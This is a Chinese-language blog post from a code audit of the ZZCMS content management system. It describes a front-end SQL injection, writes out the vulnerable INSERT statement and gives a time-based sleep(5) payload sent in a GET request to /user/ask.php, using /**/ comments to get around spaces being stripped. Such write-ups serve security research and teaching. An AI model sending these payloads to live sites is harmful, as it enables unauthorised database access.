CYH博客CYH博客

天行健,
君子以自强不息。

代码审计之ZZCMS前台SQL注入

存储型XSS参考文章http://www.caiyuhuan.com/index.php/article/lian_fengdingbin_/118.html

SQL注入

还是markit()函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?

先看看这个query函数怎么执行的


代码审计之ZZCMS前台SQL注入(图1)


可以看到直接带入mysqli_query,那么尝试构造下payload

原始SQL语句

insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')

既然只有$url可控,那么直接构造传入的URI就可以了,先直接让数据库执行sleep()函数

insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');#


代码审计之ZZCMS前台SQL注入(图2)


OK 成功,那么直接构造就行了

GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1

结果发现并没有执行


代码审计之ZZCMS前台SQL注入(图3)


在函数中dump下$url看看原因


代码审计之ZZCMS前台SQL注入(图4)


发现被url中的空格截断了


代码审计之ZZCMS前台SQL注入(图5)

那么直接用注释/**/替换


代码审计之ZZCMS前台SQL注入(图6)


成功睡眠5秒,证明存在SQL注入。


未经允许不得转载:CYH博客 » 代码审计之ZZCMS前台SQL注入
分享到: 更多 (0)

CYH博客 带给你想要内容

联系我们